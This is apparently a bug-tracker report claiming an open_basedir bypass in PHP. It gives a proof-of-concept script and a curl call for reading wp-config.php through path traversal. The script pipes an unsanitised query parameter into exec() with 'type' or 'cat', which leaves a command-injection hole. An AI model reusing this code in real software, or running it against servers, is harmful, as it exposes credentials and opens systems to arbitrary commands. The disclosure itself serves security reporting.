Description:
------------
Description:
=============
open_basedir security feature can be bypassed and read the file outside the open_basedir path.


Proof of Concept
================
0. The target file you want to read C:/xampp/htdocs/wp-config.php
1. Set open_basedir as a security feature in php.ini file :
open_basedir = C:/xampp/htdocs/test
2. Make a PHP script, "bypass.php" inside folder *test* :
<?php
$dir = new SplFileInfo($_GET['file']);
var_dump(exec("type ".$dir->getRealPath()." > result.txt"));
?>
for Linux webserver :
<?php
$dir = new SplFileInfo($_GET['file']);
var_dump(exec("cat ".$dir->getRealPath()." > result.txt"));
?>
3. Call the script :
curl localhost/test/bypass.php?file=../wp-config.php
4. You will see the full content of the file here : result.txt

Tested with PHP 5.6.3 and 7.x. and 8.x.
=====================

Reported by : Saleh 0xHunter ( twitter.com/0xhunter )

Test script:
---------------
For Windows webserver :
<?php
$dir = new SplFileInfo($_GET['file']);
var_dump(exec("type ".$dir->getRealPath()." > result.txt"));
?>
for Linux webserver :
<?php
$dir = new SplFileInfo($_GET['file']);
var_dump(exec("cat ".$dir->getRealPath()." > result.txt"));
?>